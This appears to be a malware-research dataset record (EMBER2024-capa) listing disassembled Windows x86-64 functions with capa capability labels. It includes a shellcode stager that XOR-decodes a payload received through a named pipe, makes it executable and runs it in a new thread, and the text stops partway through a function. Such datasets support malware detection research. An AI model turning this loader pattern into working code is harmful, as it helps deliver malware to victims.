joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401595
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd rsi, edx
mov rbp, rcx
mov r12, r8
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
mov rdi, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp eax, edi
jge 0x4015e1
mov rdx, rax
and edx, 3
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x4015c7
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, rsi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, [0x00401560]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401630
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x0045c980]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4016db
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4016db
test esi, esi
jle 0x4016c5
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4016d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016db
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x4016a2
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401702
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x0045c980]
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x401799
test ebx, ebx
jle 0x40177e
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40178e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401799
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x40175b
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x4017f2
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x00459440]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, rax
mov ecx, 0x400
call rdi
mov edx, dword [rbx + 4]
mov rcx, rsi
call fcn.00401702
test eax, eax
je 0x4017c3
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, rsi
call fcn.00401595
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [rsp + 0x50], 0x5c
div ecx
lea rcx, [0x0045c980]
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov r9d, 0x5c
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x004016e4]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x4017a2

Function at 0x401ed0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0045c624]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x401ff0
mov rax, qword [0x0045c628]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x401f1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x401fd6
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x401f00
mov rcx, rsi
call fcn.00402b10
test rax, rax
mov r12, rax
je 0x402028
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0045c628]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00402c60
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x0045c628]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40200b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401fcf
sub eax, 0x40
and eax, 0xffffffbf
je 0x401fcf
add rbx, qword [0x0045c628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401ff7
add dword [0x0045c624], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x401f27
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401e60
mov rax, qword [0x0045c628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401e60
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00401e60
nop
nop dword [rax + rax]
Function at 0x402780
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0045c900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0045c8e0]
test rbx, rbx
je 0x4027d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4027cb
test rsi, rsi
je 0x4027cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4027b0
lea rcx, [0x0045c900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00459310]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x402b30
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004029f0
test eax, eax
je 0x402b28
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402b8d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402b84
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402b28
add rdx, 0x28
cmp rdx, r9
jne 0x402b70
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140014080
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rdx, qword [0x140125808]
movsxd rbx, ecx
test rdx, rdx
jne 0x1400140fe
xor ecx, ecx
mov edx, 0x12000
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140125808], rax
mov rdx, rax
test rax, rax
jne 0x1400140fe
movdqa xmm0, xmmword [0x1400bd740]
movdqu xmmword [rsp + 0x20], xmm0
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x20]
add rdx, rcx
lea ecx, [rax - 0x17]
inc eax
xor byte [rdx], cl
cmp eax, 0xf
jb 0x1400140d0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2f], 0
call fcn.14006fb10
xor eax, eax
add rsp, 0x30
pop rbx
ret
lea rcx, [rbx + rbx*8]
lea rax, [rdx + rcx*8]
add rsp, 0x30
pop rbx
ret

Function at 0x140014730
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, qword [0x140125808]
test rbx, rbx
jne 0x1400147a5
mov edx, 0x12000
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140125808], rax
mov rbx, rax
test rax, rax
jne 0x1400147a5
movdqa xmm0, xmmword [0x1400bd740]
mov edx, ebx
movdqu xmmword [rsp + 0x20], xmm0
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx - 0x17]
inc edx
xor byte [rcx], al
cmp edx, 0xf
jb 0x140014780
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2f], bl
call fcn.14006fb10
xor edx, edx
mov r8d, 0x12000
mov rcx, rbx
add rsp, 0x30
pop rbx
jmp fcn.14007cb50
Function at 0x14001b790
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14001b7ed
lea rbx, [0x1400bb240]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14001b7d4
cmp r10, 2
jb 0x14001b7d4
cmp byte [r9], r8b
jne 0x14001b7d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14001b7b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14001b82f
lea rbx, [0x1400bb240]
cmp r8b, 0x23
jne 0x14001b813
cmp byte [r9], r8b
jne 0x14001b813
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14001b800
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x14001d8b0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xd8]
lea r9, [0x1400bb240]
movss xmm2, dword [rcx + 0xf0]
movss xmm3, dword [rcx + 0xf4]
movsxd rcx, dword [rcx + 0xd0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret

Function at 0x14001df80
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140125820]
mov dword [rsp + 0x20], 0x83adc9ca
mov dword [rsp + 0x24], 0x82888b9f
mov dword [rsp + 0x28], 0x909d879e
mov rcx, qword [rax + 0x40b0]
xor eax, eax
mov byte [rsp + 0x2c], al
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x20]
add rdx, rax
lea eax, [r8 - 0x17]
inc r8d
xor byte [rdx], al
cmp r8d, 0xc
jb 0x14001dfc0
mov rcx, qword [rcx]
lea r8, [rsp + 0x20]
mov edx, 1
mov byte [rsp + 0x2c], 0
call fcn.14001ddb0
add rsp, 0x38
ret
Function at 0x140027660
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x20
mov rbx, qword [0x140125820]
cmp dword [rbx + 0x3e78], 1
mov rbp, qword [rbx + 0x3ea8]
jg 0x14002768e
cmp byte [rbx + 0x3e35], 0
jne 0x140027839
cmp qword [rbp + 0x190], 0
mov qword [rsp + 0x38], rsi
je 0x1400276a2
call fcn.140044a40
call fcn.140021290
xor esi, esi
test dword [rbp + 0xc], 0x1000000
jne 0x14002779f
mov r8, qword [0x140125820]
mov qword [rsp + 0x40], rdi
mov rdi, r8
cmp byte [r8 + 0x53d4], sil
je 0x14002779a
xor eax, eax
mov word [rsp + 0x30], 0xe0e4
mov byte [rsp + 0x32], al
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
inc edx
xor byte [rcx], al
cmp edx, 2
jb 0x1400276f0
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x32], sil
call fcn.14002eda0
cmp dword [r8 + 0x53d8], 4
jne 0x14002775b
cmp dword [r8 + 0x53e0], 1
jle 0x14002775b
mov rax, qword [r8 + 0x53e8]
lea rdx, [0x140125804]
test rax, rax
cmovne rdx, rax
mov rax, qword [r8 + 0xb0]
test rax, rax
je 0x14002775b
mov rcx, qword [r8 + 0xb8]
call rax
mov r8, qword [0x140125820]
mov byte [rdi + 0x53d4], sil
mov dword [rdi + 0x53d8], esi
mov rcx, qword [rdi + 0x53e8]
test rcx, rcx
je 0x14002779a
mov qword [rdi + 0x53e0], rsi
test r8, r8
je 0x140027787
dec dword [r8 + 0xec]
mov rdx, qword [0x140125818]
call fcn.14001a890
mov qword [rdi + 0x53e8], rsi
mov rdi, qword [rsp + 0x40]
mov rax, qword [rbx + 0x3e80]
movsxd r8, dword [rbx + 0x3e78]
imul rcx, r8, 0x58
lea edx, [r8 - 1]
movups xmm0, xmmword [rcx + rax - 0x50]
movups xmmword [rbx + 0x3f70], xmm0
movups xmm1, xmmword [rcx + rax - 0x40]
movups xmmword [rbx + 0x3f80], xmm1
movups xmm0, xmmword [rcx + rax - 0x30]
movups xmmword [rbx + 0x3f90], xmm0
movsd xmm1, qword [rcx + rax - 0x20]
movsd qword [rbx + 0x3fa0], xmm1
mov eax, dword [rcx + rax - 0x18]
mov dword [rbx + 0x3fa8], eax
mov eax, dword [rbp + 0xc]
bt eax, 0x1c
jae 0x140027803
dec dword [rbx + 0x40a0]
mov eax, dword [rbp + 0xc]
bt eax, 0x1a
jae 0x14002780f
dec dword [rbx + 0x4090]
mov dword [rbx + 0x3e78], edx
test edx, edx
je 0x14002782c
lea rax, [r8 - 2]
imul rcx, rax, 0x58
mov rax, qword [rbx + 0x3e80]
mov rsi, qword [rcx + rax]
mov rcx, rsi
call fcn.14001da70
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
Function at 0x1400280e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x140125820]
mov r8d, ecx
mov rbx, qword [rax + 0x3ea8]
add rbx, 0xd0
movzx eax, r8b
lea r8, [0x1400bb240]
movsxd rdx, dword [rbx]
mov r9, qword [rbx + 8]
mov edi, dword [r9 + rdx*4 - 4]
not edi
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x1400281a0
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140028186
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14002818b
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140030ad0
mov edx, dword [rbx]
mov r9, qword [rbx + 8]
movsxd rax, edx
mov dword [r9 + rax*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140029cf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, qword [0x140125820]
xor ebx, ebx
mov esi, ecx
cmp byte [rdi + 0x424d], bl
jne 0x140029d22
cmp byte [rdi + 0x424e], bl
je 0x140029d8e
movss xmm1, dword [rdi + 0x38b0]
mov esi, 1
movaps xmm0, xmm1
mulss xmm1, dword [0x1400bd4a4]
mulss xmm0, dword [0x1400bd4bc]
addss xmm1, dword [rdi + 0xd98]
addss xmm0, dword [rdi + 0xd94]
mov qword [rdi + 0x3fc8], rbx
mov dword [rdi + 0x3fb4], esi
movss dword [rdi + 0x3fc4], xmm1
movss dword [rdi + 0x3fc0], xmm0
movss xmm0, dword [rdi + 0x390c]
mulss xmm0, dword [0x1400bd3e4]
or dword [rdi + 0x3fb0], 0x41
movss dword [rdi + 0x4010], xmm0
movsx r9d, word [rdi + 0x532e]
xor eax, eax
mov byte [rbp - 0x12], al
mov edx, ebx
mov dword [rbp - 0x20], 0x83bfc9ca
mov dword [rbp - 0x1c], 0x999b8282
mov dword [rbp - 0x18], 0xc4d6ad81
mov word [rbp - 0x14], 0x92c7
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x17]
inc edx
xor byte [rbp + rcx - 0x20], al
cmp edx, 0xe
jb 0x140029dc0
lea r8, [rbp - 0x20]
mov byte [rbp - 0x12], bl
mov edx, 0x10
lea rcx, [rbp - 0x10]
call fcn.14001b680
test sil, 1
je 0x140029eb8
movzx r9d, byte [rbp - 0x10]
lea r8, [rbp - 0xf]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140029e40
lea r11, [0x1400bb240]
nop
cmp r9b, 0x23
jne 0x140029e23
cmp byte [r8], r9b
jne 0x140029e23
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140029e10
not ecx
call fcn.140022ad0
test rax, rax
je 0x140029eb8
cmp byte [rax + 0x96], bl
je 0x140029eb8
mov byte [rax + 0x9d], 1
mov byte [rax + 0xb8], 1
inc word [rdi + 0x532e]
movsx r9d, word [rdi + 0x532e]
xor eax, eax
mov byte [rbp - 0x12], al
mov dword [rbp - 0x20], 0x83bfc9ca
mov dword [rbp - 0x1c], 0x999b8282
mov dword [rbp - 0x18], 0xc4d6ad81
mov word [rbp - 0x14], 0x92c7
movsxd rcx, ebx
lea eax, [rbx - 0x17]
inc ebx
xor byte [rbp + rcx - 0x20], al
cmp ebx, 0xe
jb 0x140029e91
lea r8, [rbp - 0x20]
mov byte [rbp - 0x12], 0
mov edx, 0x10
lea rcx, [rbp - 0x10]
call fcn.14001b680
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x20c0347
call fcn.140025300
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret
Function at 0x14002a2f0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
mov r8, qword [0x140125820]
mov r9d, ecx
movsxd rax, dword [r8 + 0x4090]
cmp dword [r8 + 0x4080], eax
jle 0x14002a3fc
lea rdx, [rax + rax*2]
mov rax, qword [r8 + 0x4088]
add rdx, rdx
cmp dword [rax + rdx*8], ecx
jne 0x14002a3fc
xor eax, eax
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x2c], al
xor edx, edx
mov dword [rsp + 0x20], 0x83bbc9ca
mov dword [rsp + 0x24], 0xaf9f9b9d
mov dword [rsp + 0x28], 0x8ccbc2d4
nop
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx - 0x17]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x14002a350
lea r8, [rsp + 0x20]
mov byte [rsp + 0x2c], 0
mov edx, 0x14
lea rcx, [rsp + 0x30]
call fcn.14001b680
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4000141
call fcn.140025300
movzx edi, al
test al, al
jne 0x14002a3ee
mov qword [rsp + 0x60], rbx
mov rbx, qword [0x140125820]
mov rcx, qword [rbx + 0x3ea8]
cmp qword [rbx + 0x40b8], rcx
jne 0x14002a3cd
cmp byte [rbx + 0x4115], al
je 0x14002a3cd
cmp dword [rbx + 0x40f4], 0
jne 0x14002a3cd
or dword [rbx + 0x4118], 2
test dword [rcx + 0xc], 0x1000000
je 0x14002a3dd
mov byte [rbx + 0x3e36], 1
call fcn.140027660
mov byte [rbx + 0x3e36], 0
mov rbx, qword [rsp + 0x60]
movzx eax, dil
mov rdi, qword [rsp + 0x50]
add rsp, 0x58
ret
xor edx, edx
mov dword [r8 + 0x3fb0], edx
xor al, al
add rsp, 0x58
ret
Function at 0x14002edc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
mov rbx, r8
movss xmm6, dword [0x1400bd428]
mov rdi, rdx
mov r13, rcx
xor r12d, r12d
nop dword [rax]
mov rsi, qword [0x140125820]
mov r9, qword [rsi + 0x53f0]
mov r15, qword [rsi + 0x53f8]
mov rbp, qword [rsi + 0x3ea8]
mov qword [rsi + 0x53f8], r12
mov qword [rsi + 0x53f0], r12
test rbx, rbx
jne 0x14002ee41
mov rbx, rdi
cmp rdi, 0xffffffffffffffff
jae 0x14002ee41
movzx eax, byte [rbx]
test al, al
je 0x14002ee41
cmp al, 0x23
jne 0x14002ee38
cmp byte [rbx + 1], al
je 0x14002ee41
inc rbx
cmp rbx, 0xffffffffffffffff
jb 0x14002ee28
test r13, r13
je 0x14002ee69
movss xmm1, dword [rsi + 0x5400]
addss xmm1, dword [rsi + 0x3838]
movss xmm0, dword [r13 + 4]
addss xmm1, xmm6
comiss xmm0, xmm1
jbe 0x14002ee69
mov cl, 1
jmp 0x14002ee70
xor cl, cl
test r13, r13
je 0x14002eed0
mov eax, dword [r13 + 4]
mov dword [rsi + 0x5400], eax
test cl, cl
je 0x14002eed0
xor eax, eax
mov word [rsp + 0x80], 0xe0e4
mov byte [rsp + 0x82], al
mov edx, r12d
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x17]
inc edx
xor byte [rsp + rcx + 0x80], al
cmp edx, 2
jb 0x14002eea0
lea rcx, [rsp + 0x80]
mov byte [rsp + 0x82], r12b
call fcn.14002eda0
mov byte [rsi + 0x5404], 1
test r9, r9
je 0x14002eef7
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r9 + r8], r12b
jne 0x14002eee0
add r8, r9
mov rdx, r9
mov rcx, r13
call fcn.14002edc0
mov eax, dword [rsi + 0x5408]
mov r14d, dword [rbp + 0x16c]
cmp eax, r14d
jle 0x14002ef1a
mov dword [rsi + 0x5408], r14d
mov eax, r14d
mov r14d, dword [rbp + 0x16c]
sub r14d, eax
nop dword [rax]
mov r8, rbx
mov edx, 0xa
sub r8, rdi
mov rcx, rdi
call fcn.14007c340
test rax, rax
mov r10, rbx
cmovne r10, rax
cmp rdi, r10
jne 0x14002ef4b
cmp r10, rbx
je 0x14002f01e
mov r9d, r10d
lea edx, [r14*4]
sub r9d, edi
cmp byte [rsi + 0x5404], r12b
jne 0x14002ef67
mov edx, 1
mov dword [rsp + 0x90], 0xc998c0cc
mov r8d, r12d
mov dword [rsp + 0x94], 0x9cc4c3
movsxd rcx, r8d
lea eax, [r8 - 0x17]
inc r8d
xor byte [rsp + rcx + 0x90], al
cmp r8d, 7
jb 0x14002ef80
lea r8, [0x1400bae63]
mov byte [rsp + 0x97], r12b
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x20], rdi
call fcn.14002eda0
mov byte [rsi + 0x5404], r12b
cmp byte [r10], 0xa
jne 0x14002f010
xor eax, eax
mov word [rsp + 0x88], 0xe0e4
mov byte [rsp + 0x8a], al
mov edx, r12d
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x17]
inc edx
xor byte [rsp + rcx + 0x88], al
cmp edx, 2
jb 0x14002efe0
lea rcx, [rsp + 0x88]
mov byte [rsp + 0x8a], r12b
call fcn.14002eda0
mov byte [rsi + 0x5404], 1
cmp r10, rbx
je 0x14002f01e
lea rdi, [r10 + 1]
jmp 0x14002ef20
test r15, r15
je 0x14002f044
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [r15 + rbx], r12b
jne 0x14002f030
add rbx, r15
mov rdi, r15
jmp 0x14002edf0
mov rbx, qword [rsp + 0x98]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002f070
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rsi, qword [0x140125820]
xor r12d, r12d
mov edx, r12d
mov dword [rsp + 0x60], 0xc8c9ca
mov rdi, rcx
nop
movsxd rax, edx
lea rcx, [rsp + 0x60]
add rcx, rax
